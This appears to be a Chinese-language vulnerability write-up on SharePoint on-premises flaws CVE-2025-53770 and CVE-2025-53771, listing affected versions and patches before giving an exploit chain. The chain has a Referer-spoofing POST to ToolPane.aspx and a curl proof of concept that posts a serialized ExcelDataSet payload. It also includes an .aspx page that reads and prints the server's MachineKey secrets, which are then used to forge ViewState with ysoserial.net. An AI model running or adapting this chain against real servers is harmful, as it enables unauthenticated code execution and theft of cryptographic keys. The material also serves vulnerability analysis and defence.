CVE-2025-53770 SharePoint

描述

本地 Microsoft SharePoint Server 中的不受信任数据反序列化允许攻击者远程执行代码并破坏系统。微软已知悉活跃利用情况，正在准备全面的更新。请检查 CVE 文档中的缓解措施是否已生效。

影响： 未认证的攻击者可执行远程代码，导致系统完全沦陷。
严重性： 严重

Microsoft SharePoint 本地版 (on-premises)

CVE-2025-53770（CVSS 9.8）：

这是一个严重的远程代码执行（RCE）漏洞。它利用了不受信任数据的不安全反序列化，允许攻击者在无需认证的情况下执行任意代码。

CVE-2025-53771（CVSS ~6.3）：

这是一个通过操纵 HTTP 标头（尤其是 Referer 字段）绕过认证（欺骗）的漏洞，允许绕过访问控制，并可结合 CVE-53770 提升为 RCE。

两者都取代了之前的补丁 （CVE-2025-49704 和 CVE-2025-49706），这些补丁于 7 月应用，但被证明不完整，从而产生了新的攻击向量。

仅影响 SharePoint 本地版 (on-premises)，涉及版本：

Subscription Edition（早于 KB5002768）
SharePoint Server 2019（早于 KB5002754）
SharePoint Server 2016（早于 KB5002760）

SharePoint Online（Microsoft 365）不受影响。

1 -（认证绕过）：/layouts/15/ToolPane.aspx

步骤 1 – 向易受攻击的 URL 发送 POST 请求。步骤 2 – 上传一个包含读取 MachineKey 代码的 .aspx 文件（与你的代码片段相同）。步骤 3 – 使用配置了这些密钥的 ysoserial.net 等工具，生成恶意 ViewState。

步骤 1

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0

步骤 2

概念验证（PoC）

以下 PoC 演示了攻击者如何利用该漏洞，通过易受攻击的端点提取并解码恶意载荷。

目标域名已被有意替换为 target.com。

PoC 命令 1

curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
  -H 'Referer: /_layouts/SignOut.aspx' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'MSOTlPn_Uri=https://target.com' \
  --data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable=&quot;\K[^&]+(?=&quot;)' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'

实际分析中使用的命令

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);

        Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
    }
</script>

CVE-2025-53770

最受欢迎